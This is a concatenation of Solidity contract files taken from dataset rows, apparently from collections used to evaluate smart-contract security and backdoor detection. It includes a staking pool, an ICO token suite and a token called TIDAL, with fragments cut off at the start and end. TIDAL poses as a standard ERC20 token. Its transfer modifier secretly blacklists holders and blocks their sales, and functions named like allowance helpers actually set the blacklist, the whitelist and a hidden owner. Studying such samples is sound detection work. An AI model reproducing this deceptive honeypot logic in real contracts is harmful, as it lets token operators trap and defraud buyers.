return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Initializable {
bool private initialized;
bool private initializing;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
function isConstructor() private view returns (bool) {
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
uint256[50] private ______gap;
}
contract CookiePool is Initializable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public depositToken;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function initialize(address _token) public initializer {
depositToken = IERC20(_token);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function _stake(uint256 amount) internal {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
depositToken.safeTransferFrom(msg.sender, address(this), amount);
}
function _withdraw(uint256 amount) internal {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
depositToken.safeTransfer(msg.sender, amount);
}
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
contract Cookiechef is CookiePool {
IERC20 public degenToken;
uint256 public halvingPeriod = 259200;
uint256 public totalreward;
uint256 public starttime;
uint256 public stakingtime;
uint256 public eraPeriod = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
uint256 public totalRewards = 0;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
constructor(address _depositToken, address _degenToken, uint256 _totalreward, uint256 _starttime, uint256 _stakingtime) public {
super.initialize(_depositToken);
degenToken = IERC20(_degenToken);
starttime = _starttime;
stakingtime = _stakingtime;
notifyRewardAmount(_totalreward.mul(50).div(100));
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, eraPeriod);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply()));
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
function stake(uint256 amount) public updateReward(msg.sender) checkhalve checkStart{
require(amount > 0, "ERROR: Cannot stake 0 Tether");
super._stake(amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public updateReward(msg.sender) checkhalve checkStart{
require(amount > 0, "ERROR: Cannot withdraw 0 Tether");
super._withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external stakingTime{
withdraw(balanceOf(msg.sender));
getReward();
}
function getReward() public updateReward(msg.sender) checkhalve checkStart stakingTime{
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
degenToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
totalRewards = totalRewards.add(reward);
}
}
modifier checkhalve(){
if (block.timestamp >= eraPeriod) {
totalreward = totalreward.mul(50).div(100);
rewardRate = totalreward.div(halvingPeriod);
eraPeriod = block.timestamp.add(halvingPeriod);
emit RewardAdded(totalreward);
}
_;
}
modifier checkStart(){
require(block.timestamp > starttime,"ERROR: Not start");
_;
}
modifier stakingTime(){
require(block.timestamp >= stakingtime,"ERROR: Withdrawals open after 24 hours from the beginning");
_;
}
function notifyRewardAmount(uint256 reward)
internal
updateReward(address(0))
{
if (block.timestamp >= eraPeriod) {
rewardRate = reward.div(halvingPeriod);
} else {
uint256 remaining = eraPeriod.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(halvingPeriod);
}
totalreward = reward;
lastUpdateTime = block.timestamp;
eraPeriod = block.timestamp.add(halvingPeriod);
emit RewardAdded(reward);
}
}
| 251,549 | 10,671 |
15d44fc8adecfec81334920d380d8969a87cd6a2a0726c393ed75e5d5cffcc1e
| 29,228 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/TIDAL-0x8001455d1add0b1c41a6478b306dd1e9bced2302.sol
| 3,396 | 12,610 |
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract TIDAL is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 187,240 | 10,672 |
b9f983f376edab9eae53b04ae760c64225cc4d8ccaacd6ac56d9c4bb3a5ef3fc
| 24,382 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x9599954b6ade1f00f36a95cdf3a1b773ba3be19a.sol
| 4,053 | 15,636 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract SmartInvestmentFundToken {
using SafeMath for uint256;
mapping (address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
address[] allTokenHolders;
string public name;
string public symbol;
uint8 public decimals;
uint256 totalSupplyAmount = 0;
address public icoContractAddress;
bool public isClosed;
IcoPhaseManagement icoPhaseManagement;
AuthenticationManager authenticationManager;
event FundClosed();
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function SmartInvestmentFundToken(address _icoContractAddress, address _authenticationManagerAddress) {
// Setup defaults
name = "Smart Investment Fund Token";
symbol = "SIFT";
decimals = 0;
icoPhaseManagement = IcoPhaseManagement(_icoContractAddress);
if (icoPhaseManagement.contractVersion() != 300201707171440)
throw;
authenticationManager = AuthenticationManager(_authenticationManagerAddress);
if (authenticationManager.contractVersion() != 100201707171503)
throw;
icoContractAddress = _icoContractAddress;
}
modifier onlyPayloadSize(uint numwords) {
assert(msg.data.length == numwords * 32 + 4);
_;
}
modifier accountReaderOnly {
if (!authenticationManager.isCurrentAccountReader(msg.sender)) throw;
_;
}
modifier fundSendablePhase {
// If it's in ICO phase, forbid it
if (icoPhaseManagement.icoPhase())
throw;
// If it's abandoned, forbid it
if (icoPhaseManagement.icoAbandoned())
throw;
// We're good, funds can now be transferred
_;
}
function contractVersion() constant returns(uint256) {
return 500201707171440;
}
function transferFrom(address _from, address _to, uint256 _amount) fundSendablePhase onlyPayloadSize(3) returns (bool) {
if (balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0 && balances[_to].add(_amount) > balances[_to]) {
bool isNew = balances[_to] == 0;
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
if (isNew)
tokenOwnerAdd(_to);
if (balances[_from] == 0)
tokenOwnerRemove(_from);
Transfer(_from, _to, _amount);
return true;
}
return false;
}
function tokenHolderCount() accountReaderOnly constant returns (uint256) {
return allTokenHolders.length;
}
function tokenHolder(uint256 _index) accountReaderOnly constant returns (address) {
return allTokenHolders[_index];
}
function approve(address _spender, uint256 _amount) fundSendablePhase onlyPayloadSize(2) returns (bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function totalSupply() constant returns (uint256) {
return totalSupplyAmount;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _amount) fundSendablePhase onlyPayloadSize(2) returns (bool) {
if (balances[msg.sender] < _amount || balances[_to].add(_amount) < balances[_to])
return false;
bool isRecipientNew = balances[_to] < 1;
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
if (isRecipientNew)
tokenOwnerAdd(_to);
if (balances[msg.sender] < 1)
tokenOwnerRemove(msg.sender);
Transfer(msg.sender, _to, _amount);
return true;
}
function tokenOwnerAdd(address _addr) internal {
uint256 tokenHolderCount = allTokenHolders.length;
for (uint256 i = 0; i < tokenHolderCount; i++)
if (allTokenHolders[i] == _addr)
return;
allTokenHolders.length++;
allTokenHolders[allTokenHolders.length - 1] = _addr;
}
function tokenOwnerRemove(address _addr) internal {
uint256 tokenHolderCount = allTokenHolders.length;
uint256 foundIndex = 0;
bool found = false;
uint256 i;
for (i = 0; i < tokenHolderCount; i++)
if (allTokenHolders[i] == _addr) {
foundIndex = i;
found = true;
break;
}
if (!found)
return;
for (i = foundIndex; i < tokenHolderCount - 1; i++)
allTokenHolders[i] = allTokenHolders[i + 1];
allTokenHolders.length--;
}
function mintTokens(address _address, uint256 _amount) onlyPayloadSize(2) {
if (msg.sender != icoContractAddress || !icoPhaseManagement.icoPhase())
throw;
bool isNew = balances[_address] == 0;
totalSupplyAmount = totalSupplyAmount.add(_amount);
balances[_address] = balances[_address].add(_amount);
if (isNew)
tokenOwnerAdd(_address);
Transfer(0, _address, _amount);
}
}
contract IcoPhaseManagement {
using SafeMath for uint256;
bool public icoPhase = true;
bool public icoAbandoned = false;
bool siftContractDefined = false;
uint256 constant icoUnitPrice = 10 finney;
mapping(address => uint256) public abandonedIcoBalances;
SmartInvestmentFundToken smartInvestmentFundToken;
AuthenticationManager authenticationManager;
uint256 constant public icoStartTime = 1501545600; // August 1st 2017 at 00:00:00 UTC
uint256 constant public icoEndTime = 1505433600; // September 15th 2017 at 00:00:00 UTC
event IcoClosed();
event IcoAbandoned(string details);
modifier onlyDuringIco {
bool contractValid = siftContractDefined && !smartInvestmentFundToken.isClosed();
if (!contractValid || (!icoPhase && !icoAbandoned)) throw;
_;
}
modifier adminOnly {
if (!authenticationManager.isCurrentAdmin(msg.sender)) throw;
_;
}
function IcoPhaseManagement(address _authenticationManagerAddress) {
if (icoStartTime >= icoEndTime)
throw;
authenticationManager = AuthenticationManager(_authenticationManagerAddress);
if (authenticationManager.contractVersion() != 100201707171503)
throw;
}
function setSiftContractAddress(address _siftContractAddress) adminOnly {
if (siftContractDefined)
throw;
smartInvestmentFundToken = SmartInvestmentFundToken(_siftContractAddress);
if (smartInvestmentFundToken.contractVersion() != 500201707171440)
throw;
siftContractDefined = true;
}
function contractVersion() constant returns(uint256) {
return 300201707171440;
}
function close() adminOnly onlyDuringIco {
// Forbid closing contract before the end of ICO
if (now <= icoEndTime)
throw;
// Close the ICO
icoPhase = false;
IcoClosed();
// Withdraw funds to the caller
if (!msg.sender.send(this.balance))
throw;
}
function () onlyDuringIco payable {
// Forbid funding outside of ICO
if (now < icoStartTime || now > icoEndTime)
throw;
uint256 tokensPurchased = msg.value / icoUnitPrice;
uint256 purchaseTotalPrice = tokensPurchased * icoUnitPrice;
uint256 change = msg.value.sub(purchaseTotalPrice);
if (tokensPurchased > 0)
smartInvestmentFundToken.mintTokens(msg.sender, tokensPurchased);
if (change > 0 && !msg.sender.send(change))
throw;
}
function abandon(string details) adminOnly onlyDuringIco {
// Forbid closing contract before the end of ICO
if (now <= icoEndTime)
throw;
if (icoAbandoned)
throw;
uint256 paymentPerShare = this.balance / smartInvestmentFundToken.totalSupply();
uint numberTokenHolders = smartInvestmentFundToken.tokenHolderCount();
uint256 totalAbandoned = 0;
for (uint256 i = 0; i < numberTokenHolders; i++) {
address addr = smartInvestmentFundToken.tokenHolder(i);
uint256 etherToSend = paymentPerShare * smartInvestmentFundToken.balanceOf(addr);
if (etherToSend < 1)
continue;
abandonedIcoBalances[addr] = abandonedIcoBalances[addr].add(etherToSend);
totalAbandoned = totalAbandoned.add(etherToSend);
}
icoAbandoned = true;
IcoAbandoned(details);
// There should be no money left, but withdraw just incase for manual resolution
uint256 remainder = this.balance.sub(totalAbandoned);
if (remainder > 0)
if (!msg.sender.send(remainder))
// Add this to the callers balance for emergency refunds
abandonedIcoBalances[msg.sender] = abandonedIcoBalances[msg.sender].add(remainder);
}
function abandonedFundWithdrawal() {
// This functionality only exists if an ICO was abandoned
if (!icoAbandoned || abandonedIcoBalances[msg.sender] == 0)
throw;
// Attempt to send them to funds
uint256 funds = abandonedIcoBalances[msg.sender];
abandonedIcoBalances[msg.sender] = 0;
if (!msg.sender.send(funds))
throw;
}
}
contract AuthenticationManager {
mapping (address => bool) adminAddresses;
mapping (address => bool) accountReaderAddresses;
address[] adminAudit;
address[] accountReaderAudit;
event AdminAdded(address addedBy, address admin);
event AdminRemoved(address removedBy, address admin);
event AccountReaderAdded(address addedBy, address account);
event AccountReaderRemoved(address removedBy, address account);
function AuthenticationManager() {
adminAddresses[msg.sender] = true;
AdminAdded(0, msg.sender);
adminAudit.length++;
adminAudit[adminAudit.length - 1] = msg.sender;
}
function contractVersion() constant returns(uint256) {
// Admin contract identifies as 100YYYYMMDDHHMM
return 100201707171503;
}
function isCurrentAdmin(address _address) constant returns (bool) {
return adminAddresses[_address];
}
function isCurrentOrPastAdmin(address _address) constant returns (bool) {
for (uint256 i = 0; i < adminAudit.length; i++)
if (adminAudit[i] == _address)
return true;
return false;
}
function isCurrentAccountReader(address _address) constant returns (bool) {
return accountReaderAddresses[_address];
}
function isCurrentOrPastAccountReader(address _address) constant returns (bool) {
for (uint256 i = 0; i < accountReaderAudit.length; i++)
if (accountReaderAudit[i] == _address)
return true;
return false;
}
function addAdmin(address _address) {
if (!isCurrentAdmin(msg.sender))
throw;
// Fail if this account is already admin
if (adminAddresses[_address])
throw;
// Add the user
adminAddresses[_address] = true;
AdminAdded(msg.sender, _address);
adminAudit.length++;
adminAudit[adminAudit.length - 1] = _address;
}
function removeAdmin(address _address) {
if (!isCurrentAdmin(msg.sender))
throw;
if (_address == msg.sender)
throw;
// Fail if this account is already non-admin
if (!adminAddresses[_address])
throw;
adminAddresses[_address] = false;
AdminRemoved(msg.sender, _address);
}
function addAccountReader(address _address) {
if (!isCurrentAdmin(msg.sender))
throw;
// Fail if this account is already in the list
if (accountReaderAddresses[_address])
throw;
// Add the user
accountReaderAddresses[_address] = true;
AccountReaderAdded(msg.sender, _address);
accountReaderAudit.length++;
accountReaderAudit[adminAudit.length - 1] = _address;
}
function removeAccountReader(address _address) {
if (!isCurrentAdmin(msg.sender))
throw;
// Fail if this account is already not in the list
if (!accountReaderAddresses[_address])
throw;
accountReaderAddresses[_address] = false;
AccountReaderRemoved(msg.sender, _address);
}
}
contract DividendManager {
using SafeMath for uint256;
SmartInvestmentFundToken siftContract;
mapping (address => uint256) public dividends;
event PaymentAvailable(address addr, uint256 amount);
event DividendPayment(uint256 paymentPerShare, uint256 timestamp);
function DividendManager(address _siftContractAddress) {
siftContract = SmartInvestmentFundToken(_siftContractAddress);
if (siftContract.contractVersion() != 500201707171440)
throw;
}
function contractVersion() constant returns(uint256) {
return 600201707171440;
}
function () payable {
if (siftContract.isClosed())
throw;
uint256 validSupply = siftContract.totalSupply();
uint256 paymentPerShare = msg.value / validSupply;
if (paymentPerShare == 0)
throw;
uint256 totalPaidOut = 0;
for (uint256 i = 0; i < siftContract.tokenHolderCount(); i++) {
address addr = siftContract.tokenHolder(i);
uint256 dividend = paymentPerShare * siftContract.balanceOf(addr);
dividends[addr] = dividends[addr].add(dividend);
PaymentAvailable(addr, dividend);
totalPaidOut = totalPaidOut.add(dividend);
}
// Attempt to send change
uint256 remainder = msg.value.sub(totalPaidOut);
if (remainder > 0 && !msg.sender.send(remainder)) {
dividends[msg.sender] = dividends[msg.sender].add(remainder);
PaymentAvailable(msg.sender, remainder);
}
DividendPayment(paymentPerShare, now);
}
function withdrawDividend() {
// Ensure we have dividends available
if (dividends[msg.sender] == 0)
throw;
// Determine how much we're sending and reset the count
uint256 dividend = dividends[msg.sender];
dividends[msg.sender] = 0;
// Attempt to withdraw
if (!msg.sender.send(dividend))
throw;
}
}
| 183,850 | 10,673 |
517a2e455ee2037934b8c2b7cea8e443bd5d2e5c3743bd5dd15da04e75c11422
| 34,715 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x5cbb53ca85a9e52b593baf8ae90282c4b3db0b25.sol
| 4,512 | 18,783 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
